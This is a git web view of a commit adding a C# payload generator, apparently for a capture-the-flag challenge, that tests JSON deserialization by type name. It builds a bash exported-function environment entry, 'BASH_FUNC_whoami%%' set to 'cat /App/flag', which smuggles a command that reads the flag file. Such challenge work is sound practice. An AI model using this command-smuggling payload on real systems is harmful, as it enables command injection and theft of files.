summaryrefslogtreecommitdiffstats
path: root/solve/Generator/Program.cs
diff options
context:
space:
mode:
Diffstat (limited to 'solve/Generator/Program.cs')
-rw-r--r--solve/Generator/Program.cs42
1 files changed, 42 insertions, 0 deletions
diff --git a/solve/Generator/Program.cs b/solve/Generator/Program.cs
new file mode 100644
index 0000000..22879c1
--- /dev/null
+++ b/solve/Generator/Program.cs
@@ -0,0 +1,42 @@
+using Newtonsoft.Json;
+
+namespace Program {
+
+class Program {
+static Type GetTypeByName(String name) {
+ return AppDomain.CurrentDomain.GetAssemblies()
+ .Reverse()
+ .Select(assembly => assembly.GetType(name))
+ .FirstOrDefault(t => t != null);
+}
+
+public String testfn(Dictionary<String,String> ina) {
+ Console.WriteLine(this);
+ return "Testing";
+}
+
+static void Main(String[] args) {
+// See https://aka.ms/new-console-template for more information
+ var env = new Dictionary<String, String>();
+ env.Add("BASH_FUNC_whoami%%", "cat /App/flag");
+ String serialized = JsonConvert.SerializeObject(env);
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary`2[System.String,System.String]"));
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary[System.String, System.String]"));
+ Console.WriteLine(">",GetTypeByName("Dictionary<String,String>"));
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary"));
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary<System.String,System.String>"));
+ Console.WriteLine(">",AppDomain.CurrentDomain.GetAssemblies().ToString());
+ var test = JsonConvert.DeserializeObject(serialized, GetTypeByName("System.Collections.Generic.Dictionary"));
+ var array = "[" + test + "]";
+ var test2 = JsonConvert.DeserializeObject<object[]>(array);
+ var test3 = JsonConvert.DeserializeObject(JsonConvert.SerializeObject(test2), GetTypeByName("Dictionary<String, String>"));
+
+ var program = new Program();
+ program.GetType().GetMethod("testfn").Invoke(program, [test]);
+ Console.WriteLine(test);
+ Console.WriteLine(test2);
+ Console.WriteLine(test3);
+ Console.WriteLine(serialized);
+}
+}
+}